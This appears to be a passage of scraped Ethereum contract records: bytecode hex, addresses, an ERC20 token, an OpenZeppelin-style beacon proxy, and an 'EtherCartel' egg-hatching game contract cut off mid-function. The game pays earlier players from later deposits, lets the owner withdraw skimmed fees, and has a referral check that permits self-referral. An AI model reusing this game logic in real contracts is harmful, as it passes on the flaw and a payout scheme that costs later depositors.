95505050505050565b60808152600061411084856142f9565b60808085015261412561010085018284613e8e565b91505061413560208601866142f9565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808584030160a086015261416a838284613e8e565b604088013560c0870152606088013560e0870152935061168d925050602084019050848035825260208082013590830152604090810135910152565b83815260406020820152600061406a604083018486613e8e565b60006060820190508382528235602083015260208301356141e08161440a565b6001600160a01b0381166040840152509392505050565b8281526080810161168d60208301848035825260208082013590830152604090810135910152565b600060c08201905083825282356020830152602083013561423f8161440a565b6001600160a01b0380821660408501526040850135915061425f8261440a565b8082166060850152606085013591506142778261440a565b80821660808501525050608083013560a08301529392505050565b6000808335601e198436030181126142a8578283fd5b83018035915067ffffffffffffffff8211156142c2578283fd5b6020019150600581901b360382131561331057600080fd5b60008235601e198336030181126142ef578182fd5b9190910192915050565b6000808335601e1984360301811261430f578283fd5b830160208101925035905067ffffffffffffffff81111561432f57600080fd5b80360383131561331057600080fd5b60008219821115614351576143516143de565b500190565b60008261437157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615614390576143906143de565b500290565b6000828210156143a7576143a76143de565b500390565b6000816143bb576143bb6143de565b506000190190565b60006000198214156143d7576143d76143de565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146129c957600080fd5b80151581146129c957600080fdfea26469706673582212204e1af753f62f0a088cd1fce584aa6be97d5a9879f13611176aee725a44488d6964736f6c63430008040033
[ 0, 16, 5, 11 ]
0xf2238ca8262eaa24970fd0e294343f0a95d75f97
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract customToken{ using SafeMath for uint256; /* Events */ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /* Storage */ string public name; string public symbol; uint8 public decimals; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; /* Getters */ function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /* Methods */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } constructor (string _name, string _symbol, uint8 _decimals, uint _totalSupply, address _beneficiary) public { require(_beneficiary != address(0)); name = _name; symbol = _symbol; decimals = _decimals; totalSupply_ = _totalSupply * 10 ** uint(_decimals); balances[_beneficiary] = totalSupply_; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106a7565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a70565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a83565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d14565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610d5d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfb565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061101f565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061121b565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106ee57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561073c57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107c757600080fd5b61081982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ae82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b94576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c28565b610ba783826112a290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610df35780601f10610dc857610100808354040283529160200191610df3565b820191906000526020600020905b815481529060010190602001808311610dd657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e3857600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e8657600080fd5b610ed882600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6d82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110b082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112b057fe5b818303905092915050565b600081830190508281101515156112ce57fe5b809050929150505600a165627a7a723058205d73204369b44b688f297db89bf216110a3f1ef562c33c9778641543487ea41c0029
[ 38 ]
0xf2238e1bd498e71af559ab6575dd45ecbf612c35
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "@openzeppelin/contracts/proxy/BeaconProxy.sol"; /** * Proxy contract containing storage of xAssetCLR instance * Needs xAssetCLRBeacon to be deployed to work * Reads xAssetCLR implementation address from beacon and delegates to it */ contract xAssetCLRProxy is BeaconProxy { constructor(address _beacon) BeaconProxy(_beacon, "") {} } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Proxy.sol"; import "../utils/Address.sol"; import "./IBeacon.sol"; /** * @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}. * * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't * conflict with the storage layout of the implementation behind the proxy. * * _Available since v3.4._ */ contract BeaconProxy is Proxy { /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Initializes the proxy with `beacon`. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This * will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity * constructor. * * Requirements: * * - `beacon` must be a contract with the interface {IBeacon}. */ constructor(address beacon, bytes memory data) payable { assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1)); _setBeacon(beacon, data); } /** * @dev Returns the current beacon address. */ function _beacon() internal view virtual returns (address beacon) { bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { beacon := sload(slot) } } /** * @dev Returns the current implementation address of the associated beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_beacon()).implementation(); } /** * @dev Changes the proxy to use a new beacon. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. * * Requirements: * * - `beacon` must be a contract. * - The implementation returned by `beacon` must be a contract. */ function _setBeacon(address beacon, bytes memory data) internal virtual { require( Address.isContract(beacon), "BeaconProxy: beacon is not a contract" ); require( Address.isContract(IBeacon(beacon).implementation()), "BeaconProxy: beacon implementation is not a contract" ); bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, beacon) } if (data.length > 0) { Address.functionDelegateCall(_implementation(), data, "BeaconProxy: function call failed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); }
0x60806040523661001357610011610017565b005b6100115b61001f61002f565b61002f61002a61013b565b6101ae565b565b3b151590565b606061004284610031565b61007d5760405162461bcd60e51b815260040180806020018281038252602681526020018061029c6026913960400191505060405180910390fd5b600080856001600160a01b0316856040518082805190602001908083835b602083106100ba5780518252601f19909201916020918201910161009b565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461011a576040519150601f19603f3d011682016040523d82523d6000602084013e61011f565b606091505b509150915061012f8282866101d2565b925050505b9392505050565b6000610145610276565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561017d57600080fd5b505afa158015610191573d6000803e3d6000fd5b505050506040513d60208110156101a757600080fd5b5051905090565b3660008037600080366000845af43d6000803e8080156101cd573d6000f35b3d6000fd5b606083156101e1575081610134565b8251156101f15782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561023b578181015183820152602001610223565b50505050905090810190601f1680156102685780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50549056fe416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a2646970667358221220dc5acc27907403c81febbc4c6c5dfe08ca1b68ab2aff12679205e3a476db3db764736f6c63430007060033
[ 5 ]
0xf223b61e5d30bf7b4adb38ddfba3190789a95738
pragma solidity ^0.4.18; // solhint-disable-line // site : https://ethercartel.com/ contract EtherCartel { address public superPowerFulDragonOwner; uint256 public lastPrice = 200000000000000000; uint public hatchingSpeed = 100; uint256 public snatchedOn; bool public isEnabled = false; function enableSuperDragon(bool enable) public { require(msg.sender == ceoAddress); isEnabled = enable; superPowerFulDragonOwner = ceoAddress; snatchedOn = now; } function withDrawMoney(uint percentage) public { require(msg.sender == ceoAddress); uint256 myBalance = calculatePercentage(ceoEtherBalance, percentage); ceoEtherBalance = ceoEtherBalance - myBalance; ceoAddress.transfer(myBalance); } function buySuperDragon() public payable { require(isEnabled); require(initialized); uint currenPrice = SafeMath.add(SafeMath.div(SafeMath.mul(lastPrice, 4),100),lastPrice); require(msg.value > currenPrice); uint256 timeSpent = SafeMath.sub(now, snatchedOn); userReferralEggs[superPowerFulDragonOwner] += SafeMath.mul(hatchingSpeed,timeSpent); hatchingSpeed += SafeMath.div(SafeMath.sub(now, contractStarted), 60*60*24); ceoEtherBalance += calculatePercentage(msg.value, 2); superPowerFulDragonOwner.transfer(msg.value - calculatePercentage(msg.value, 2)); lastPrice = currenPrice; superPowerFulDragonOwner = msg.sender; snatchedOn = now; } function claimSuperDragonEggs() public { require(isEnabled); require (msg.sender == superPowerFulDragonOwner); uint256 timeSpent = SafeMath.sub(now, snatchedOn); userReferralEggs[superPowerFulDragonOwner] += SafeMath.mul(hatchingSpeed,timeSpent); snatchedOn = now; } //uint256 EGGS_PER_Dragon_PER_SECOND=1; uint256 public EGGS_TO_HATCH_1Dragon=86400;//for final version should be seconds in a day uint256 public STARTING_Dragon=5; uint256 PSN=10000; uint256 PSNH=5000; bool public initialized=false; address public ceoAddress; uint public ceoEtherBalance; uint public constant maxIceDragonsCount = 5; uint public constant maxPremiumDragonsCount = 20; mapping (address => uint256) public iceDragons; mapping (address => uint256) public premiumDragons; mapping (address => uint256) public normalDragon; mapping (address => uint256) public userHatchRate; mapping (address => uint256) public userReferralEggs; mapping (address => uint256) public lastHatch; mapping (address => address) public referrals; uint256 public marketEggs; uint256 public contractStarted; constructor() public { ceoAddress=msg.sender; } function seedMarket(uint256 eggs) public payable { require(marketEggs==0); initialized=true; marketEggs=eggs; contractStarted = now; } function getMyEggs() public view returns(uint256){ return SafeMath.add(userReferralEggs[msg.sender], getEggsSinceLastHatch(msg.sender)); } function getEggsSinceLastHatch(address adr) public view returns(uint256){ uint256 secondsPassed = SafeMath.sub(now,lastHatch[adr]); uint256 dragonCount = SafeMath.mul(iceDragons[adr], 10); dragonCount = SafeMath.add(dragonCount, premiumDragons[adr]); dragonCount = SafeMath.add(dragonCount, normalDragon[adr]); return SafeMath.mul(secondsPassed, dragonCount); } function getEggsToHatchDragon() public view returns (uint) { uint256 timeSpent = SafeMath.sub(now,contractStarted); timeSpent = SafeMath.div(timeSpent, 3600); return SafeMath.mul(timeSpent, 10); } function getBalance() public view returns(uint256){ return address(this).balance; } function getMyNormalDragons() public view returns(uint256) { return SafeMath.add(normalDragon[msg.sender], premiumDragons[msg.sender]); } function getMyIceDragon() public view returns(uint256) { return iceDragons[msg.sender]; } function setUserHatchRate() internal { if (userHatchRate[msg.sender] == 0) userHatchRate[msg.sender] = SafeMath.add(EGGS_TO_HATCH_1Dragon, getEggsToHatchDragon()); } function calculatePercentage(uint256 amount, uint percentage) public pure returns(uint256){ return SafeMath.div(SafeMath.mul(amount,percentage),100); } function getFreeDragon() public { require(initialized); require(normalDragon[msg.sender] == 0); lastHatch[msg.sender]=now; normalDragon[msg.sender]=STARTING_Dragon; setUserHatchRate(); } function buyDrangon() public payable { require(initialized); require(userHatchRate[msg.sender] != 0); uint dragonPrice = getDragonPrice(userHatchRate[msg.sender], address(this).balance); uint dragonAmount = SafeMath.div(msg.value, dragonPrice); require(dragonAmount > 0); ceoEtherBalance += calculatePercentage(msg.value, 10); premiumDragons[msg.sender] += dragonAmount; } function buyIceDrangon() public payable { require(initialized); require(userHatchRate[msg.sender] != 0); uint dragonPrice = getDragonPrice(userHatchRate[msg.sender], address(this).balance) * 8; uint dragonAmount = SafeMath.div(msg.value, dragonPrice); require(dragonAmount > 0); ceoEtherBalance += calculatePercentage(msg.value, 10); iceDragons[msg.sender] += dragonAmount; } function hatchEggs(address ref) public { require(initialized); if(referrals[msg.sender] == 0 && referrals[msg.sender] != msg.sender) { referrals[msg.sender] = ref; } uint256 eggsProduced = getMyEggs(); uint256 newDragon = SafeMath.div(eggsProduced,userHatchRate[msg.sender]); uint256 eggsConsumed = SafeMath.mul(newDragon, userHatchRate[msg.sender]); normalDragon[msg.sender] = SafeMath.add(normalDragon[msg.sender],newDragon); userReferralEggs[msg.sender] = SafeMath.sub(eggsProduced, eggsConsumed); lastHatch[msg.sender]=now; //send referral eggs userReferralEggs[referrals[msg.sender]]=SafeMath.add(userReferralEggs[referrals[msg.sender]],SafeMath.div(eggsConsumed,10)); //boost market to nerf Dragon hoarding marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsProduced,10)); } function sellEggs() public { require(initialized); uint256 hasEggs = getMyEggs(); uint256 eggValue = calculateEggSell(hasEggs); uint256 fee = calculatePercentage(eggValue, 2); userReferralEggs[msg.sender] = 0; lastHatch[msg.sender]=now; marketEggs=SafeMath.add(marketEggs,hasEggs); ceoEtherBalance += fee; msg.sender.transfer(SafeMath.sub(eggValue,fee)); } function getDragonPrice(uint eggs, uint256 eth) internal view returns (uint) { uint dragonPrice = calculateEggSell(eggs, eth); return calculatePercentage(dragonPrice, 140); } function getDragonPriceNo(uint eth) public view returns (uint) { uint256 d = userHatchRate[msg.sender]; if (d == 0) d = SafeMath.add(EGGS_TO_HATCH_1Dragon, getEggsToHatchDragon()); return getDragonPrice(d, eth); } //magic trade balancing algorithm function calculateTrade(uint256 rt,uint256 